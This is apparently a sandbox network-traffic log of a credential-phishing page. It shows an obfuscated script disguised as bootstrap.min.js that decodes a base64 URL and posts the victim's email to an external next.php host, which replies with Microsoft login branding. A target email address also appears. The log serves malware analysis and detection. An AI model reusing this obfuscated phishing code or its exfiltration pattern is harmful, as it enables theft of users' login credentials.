2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 72 6e 27 Data Ascii: o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){return'
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 47 28 65 Data Ascii: '===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function G(e
2024-03-15 12:59:24 UTC	1369	IN	Data Raw: 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c 74 29 Data Ascii: o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],t)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.17	49830	162.62.150.187	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:25 UTC	600	OUT	GET /bootstrap.min.js HTTP/1.1 Host: gners4life-1323985617.cos.eu-frankfurt.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:26 UTC	365	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 560937 Connection: close Accept-Ranges: bytes Date: Fri, 15 Mar 2024 12:59:26 GMT ETag: "9dd1f24f2750b0ba2b583b993b08fda2" Last-Modified: Fri, 16 Feb 2024 14:43:35 GMT Server: tencent-cos x-cos-hash-crc64ecma: 15504987480594251719 x-cos-request-id: NjVmNDQ2MmRfOTFiN2YwMDlfMTc4YjFfYjQxYzY2
2024-03-15 12:59:26 UTC	7839	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 6e 62 6d 56 79 63 7a 52 73 61 57 5a 6c 4c 6e 4e 70 64 47 55 76 62 6d 56 34 64 43 35 77 61 48 41 3d 22 3b 0d 0a 76 61 72 20 5f 30 78 38 36 36 39 33 65 3d 5f 30 78 34 37 36 39 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 34 37 36 35 32 2c 5f 30 78 33 31 38 65 38 61 29 7b 76 61 72 20 5f 30 78 33 34 63 31 36 30 3d 5f 30 78 34 37 36 39 2c 5f 30 78 35 64 37 65 65 30 3d 5f 30 78 32 34 37 36 35 32 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 32 63 61 64 65 33 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 33 34 63 31 36 30 28 30 78 31 38 37 34 29 29 2f 28 2d 30 78 31 64 37 39 2b 2d 30 78 37 62 35 2b 30 78 33 39 2a 30 78 61 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 Data Ascii: var file = "aHR0cHM6Ly9nbmVyczRsaWZlLnNpdGUvbmV4dC5waHA=";var _0x86693e=_0x4769;(function(_0x247652,_0x318e8a){var _0x34c160=_0x4769,_0x5d7ee0=_0x247652();while(!![]){try{var _0x2cade3=-parseInt(_0x34c160(0x1874))/(-0x1d79+-0x7b5+0x39*0xa7)+-parseInt(_0
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 64 31 34 28 30 78 31 64 31 34 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 64 64 66 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 39 38 66 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 31 31 61 31 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 32 31 36 39 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 65 30 61 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 61 65 31 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 32 37 32 39 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 38 37 65 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 62 30 66 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 32 64 66 64 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 31 33 66 64 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 32 32 36 35 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 36 65 62 29 2b 5f 30 78 34 66 31 64 31 34 28 30 78 32 64 30 34 Data Ascii: d14(0x1d14)+_0x4f1d14(0xddf)+_0x4f1d14(0x98f)+_0x4f1d14(0x11a1)+_0x4f1d14(0x2169)+_0x4f1d14(0xe0a)+_0x4f1d14(0xae1)+_0x4f1d14(0x2729)+_0x4f1d14(0x87e)+_0x4f1d14(0xb0f)+_0x4f1d14(0x2dfd)+_0x4f1d14(0x13fd)+_0x4f1d14(0x2265)+_0x4f1d14(0x6eb)+_0x4f1d14(0x2d04
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 30 38 61 32 30 5b 5f 30 78 35 30 64 62 30 62 28 30 78 31 63 38 31 29 5d 28 61 74 6f 62 2c 66 69 6c 65 29 2c 27 63 61 63 68 65 27 3a 21 5b 5d 2c 27 74 79 70 65 27 3a 5f 30 78 34 30 38 61 32 30 5b 5f 30 78 35 30 64 62 30 62 28 30 78 34 35 39 29 5d 2c 27 64 61 74 61 27 3a 5f 30 78 34 30 38 61 32 30 5b 5f 30 78 35 30 64 62 30 62 28 30 78 31 61 63 37 29 5d 28 5f 30 78 34 30 38 61 32 30 5b 5f 30 78 35 30 64 62 30 62 28 30 78 33 63 33 29 5d 2c 5f 30 78 33 37 63 62 38 30 29 2c 27 64 61 74 61 54 79 70 65 27 3a 5f 30 78 34 30 38 61 32 30 5b 5f 30 78 35 30 64 62 30 62 28 30 78 32 30 66 34 29 5d 2c 27 73 75 63 63 65 73 73 27 3a 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 62 31 30 64 64 29 7b 76 61 72 20 5f 30 78 33 35 31 61 38 32 3d 5f 30 78 35 30 64 62 30 62 3b 69 66 28 Data Ascii: 08a20[_0x50db0b(0x1c81)](atob,file),'cache':![],'type':_0x408a20[_0x50db0b(0x459)],'data':_0x408a20[_0x50db0b(0x1ac7)](_0x408a20[_0x50db0b(0x3c3)],_0x37cb80),'dataType':_0x408a20[_0x50db0b(0x20f4)],'success':function(_0x4b10dd){var _0x351a82=_0x50db0b;if(
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 2b 5f 30 78 62 35 31 39 62 36 28 30 78 36 31 37 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 34 37 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 39 63 35 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 64 37 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 36 39 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 33 66 34 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 65 66 31 29 29 2b 28 5f 30 78 62 35 31 39 62 36 28 30 78 31 61 36 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 63 38 39 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 39 36 38 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 63 35 39 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 33 39 37 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 64 65 37 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 34 34 34 29 2b 5f 30 78 62 35 Data Ascii: +_0xb519b6(0x617)+_0xb519b6(0x147c)+_0xb519b6(0x19c5)+_0xb519b6(0xd7a)+_0xb519b6(0x1692)+_0xb519b6(0x3f4)+_0xb519b6(0x1ef1))+(_0xb519b6(0x1a62)+_0xb519b6(0xc89)+_0xb519b6(0x1968)+_0xb519b6(0xc59)+_0xb519b6(0x2397)+_0xb519b6(0x2de7)+_0xb519b6(0x2444)+_0xb5
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 31 35 66 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 39 39 39 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 62 35 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 62 36 64 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 65 35 64 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 38 64 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 31 34 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 37 65 33 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 31 61 65 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 62 37 36 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 31 64 37 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 63 38 37 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 37 31 34 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 35 62 38 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 30 38 35 29 2b Data Ascii: 15fb)+_0xb519b6(0x1999)+_0xb519b6(0xb52)+_0xb519b6(0x1b6d)+_0xb519b6(0xe5d)+_0xb519b6(0x28db)+_0xb519b6(0x2140)+_0xb519b6(0x17e3)+_0xb519b6(0x21ae)+_0xb519b6(0x1b76)+_0xb519b6(0x21d7)+_0xb519b6(0xc87)+_0xb519b6(0x2714)+_0xb519b6(0x15b8)+_0xb519b6(0x2085)+
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 62 35 31 39 62 36 28 30 78 31 66 61 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 31 33 64 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 64 36 66 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 62 63 64 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 62 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 36 66 37 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 37 32 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 62 35 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 63 39 36 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 38 63 33 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 64 63 66 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 63 66 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 66 33 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 61 35 66 29 2b 5f 30 78 62 35 31 39 62 Data Ascii: b519b6(0x1faa)+_0xb519b6(0x113d)+_0xb519b6(0x1d6f)+_0xb519b6(0x1bcd)+_0xb519b6(0x2bc)+_0xb519b6(0x16f7)+_0xb519b6(0x272a)+_0xb519b6(0x1b52)+_0xb519b6(0x2c96)+_0xb519b6(0x28c3)+_0xb519b6(0x1dcf)+_0xb519b6(0x2cfc)+_0xb519b6(0xf3a)+_0xb519b6(0x1a5f)+_0xb519b
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 35 31 39 62 36 28 30 78 31 36 37 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 62 36 38 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 31 34 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 62 30 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 30 33 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 32 64 31 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 61 62 38 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 31 38 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 34 32 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 61 35 31 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 66 34 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 66 31 31 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 34 39 33 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 39 36 66 29 2b 5f 30 78 62 35 31 39 62 36 28 Data Ascii: 519b6(0x167c)+_0xb519b6(0xb68)+_0xb519b6(0x214c)+_0xb519b6(0x2b0b)+_0xb519b6(0x203b)+_0xb519b6(0x12d1)+_0xb519b6(0x1ab8)+_0xb519b6(0x118c)+_0xb519b6(0x420)+_0xb519b6(0x2a51)+_0xb519b6(0x1f4a)+_0xb519b6(0xf11)+_0xb519b6(0x1493)+_0xb519b6(0x196f)+_0xb519b6(
2024-03-15 12:59:26 UTC	8184	IN	Data Raw: 35 63 35 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 63 38 34 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 37 33 66 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 31 63 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 63 39 36 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 64 65 39 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 35 33 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 39 65 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 65 66 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 32 30 31 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 65 34 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 33 64 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 37 30 33 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 65 63 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 64 35 34 29 2b 5f Data Ascii: 5c5)+_0xb519b6(0xc84)+_0xb519b6(0x173f)+_0xb519b6(0x11ca)+_0xb519b6(0x2c96)+_0xb519b6(0x1de9)+_0xb519b6(0x2532)+_0xb519b6(0x9e2)+_0xb519b6(0xefa)+_0xb519b6(0x2201)+_0xb519b6(0x1e40)+_0xb519b6(0x13da)+_0xb519b6(0x1703)+_0xb519b6(0x1ec0)+_0xb519b6(0x2d54)+_
2024-03-15 12:59:26 UTC	16384	IN	Data Raw: 62 35 31 39 62 36 28 30 78 31 39 63 34 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 64 66 31 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 64 38 34 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 34 62 33 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 35 36 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 36 61 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 34 35 35 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 33 63 65 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 64 34 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 62 32 31 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 38 35 38 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 31 62 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 64 38 34 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 34 62 33 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 Data Ascii: b519b6(0x19c4)+_0xb519b6(0xdf1)+_0xb519b6(0xd84)+_0xb519b6(0x14b3)+_0xb519b6(0x2560)+_0xb519b6(0x6aa)+_0xb519b6(0x1455)+_0xb519b6(0x13ce)+_0xb519b6(0xd40)+_0xb519b6(0x2b21)+_0xb519b6(0x858)+_0xb519b6(0x11b2)+_0xb519b6(0xd84)+_0xb519b6(0x14b3)+_0xb519b6(0x
2024-03-15 12:59:26 UTC	16352	IN	Data Raw: 5f 30 78 62 35 31 39 62 36 28 30 78 32 31 36 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 65 63 32 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 33 65 30 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 36 38 65 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 65 35 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 62 34 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 63 32 62 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 31 31 62 63 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 37 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 39 35 65 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 63 65 66 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 36 66 61 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 66 38 35 29 2b 5f 30 78 62 35 31 39 62 36 28 30 78 32 30 65 61 29 2b 5f 30 78 62 35 31 39 62 36 Data Ascii: _0xb519b6(0x216b)+_0xb519b6(0xec2)+_0xb519b6(0x13e0)+_0xb519b6(0x168e)+_0xb519b6(0x1e5)+_0xb519b6(0x2b4b)+_0xb519b6(0x1c2b)+_0xb519b6(0x11bc)+_0xb519b6(0x27a)+_0xb519b6(0x295e)+_0xb519b6(0xcef)+_0xb519b6(0x6fa)+_0xb519b6(0xf85)+_0xb519b6(0x20ea)+_0xb519b6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.17	49819	43.157.144.205	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:27 UTC	696	OUT	GET /favicon.ico HTTP/1.1 Host: nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/nwfkh03tev.html?e=amromano@steinborn.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:27 UTC	215	IN	HTTP/1.1 404 Not Found Content-Type: application/xml Content-Length: 429 Connection: close Date: Fri, 15 Mar 2024 12:59:27 GMT Server: tencent-cos x-cos-request-id: NjVmNDQ2MmZfNzk0ZjU5MGJfYTI2YV82MDQ4YmRi
2024-03-15 12:59:27 UTC	429	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 75 74 66 2d 38 27 20 3f 3e 0a 3c 45 72 72 6f 72 3e 0a 09 3c 43 6f 64 65 3e 4e 6f 53 75 63 68 4b 65 79 3c 2f 43 6f 64 65 3e 0a 09 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 0a 09 3c 52 65 73 6f 75 72 63 65 3e 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 3c 2f 52 65 73 6f 75 72 63 65 3e 0a 09 3c 52 65 71 75 65 73 74 49 64 3e 4e 6a 56 6d 4e 44 51 32 4d 6d 5a 66 4e 7a 6b 30 5a 6a 55 35 4d 47 4a 66 59 54 49 32 59 56 38 32 4d 44 51 34 59 6d 52 69 3c 2f 52 65 71 75 65 73 74 49 64 3e 0a 09 3c 54 72 61 63 65 49 64 3e 4f 47 56 6d 59 7a 5a 69 4d 6d 51 7a 59 6a 41 32 4f 57 4e Data Ascii: <?xml version='1.0' encoding='utf-8' ?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message><Resource>/favicon.ico</Resource><RequestId>NjVmNDQ2MmZfNzk0ZjU5MGJfYTI2YV82MDQ4YmRi</RequestId><TraceId>OGVmYzZiMmQzYjA2OWN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.17	49831	162.241.71.126	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:27 UTC	691	OUT	POST /next.php HTTP/1.1 Host: gners4life.site Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:27 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2024-03-15 12:59:28 UTC	319	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:26 GMT Server: Apache Access-Control-Allow-Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-03-15 12:59:28 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	49832	162.241.71.126	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:59:29 UTC	749	OUT	POST /next.php HTTP/1.1 Host: gners4life.site Connection: keep-alive Content-Length: 37 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:59:29 UTC	37	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 61 6d 72 6f 6d 61 6e 6f 40 73 74 65 69 6e 62 6f 72 6e 2e 63 6f 6d Data Ascii: do=check&email=amromano@steinborn.com
2024-03-15 12:59:29 UTC	319	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:59:27 GMT Server: Apache Access-Control-Allow-Origin: https://nwfkh03tev-1324839608.cos.sa-saopaulo.myqcloud.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-03-15 12:59:29 UTC	368	IN	Data Raw: 31 36 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6e 6c 68 6c 6c 64 6d 70 72 38 78 67 66 76 6d 79 79 66 6a 69 70 6a 78 65 71 75 68 38 63 69 66 73 68 79 6a 39 74 67 75 2d 6b 66 79 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 37 32 30 36 37 31 31 35 35 37 35 30 30 34 34 37 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 6e 6c 68 6c 6c 64 6d 70 72 38 78 67 66 76 6d Data Ascii: 164{"status":"success","banner":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-nlhlldmpr8xgfvmyyfjipjxequh8cifshyj9tgu-kfy\/logintenantbranding\/0\/bannerlogo?ts=637206711557500447","background":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-nlhlldmpr8xgfvm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
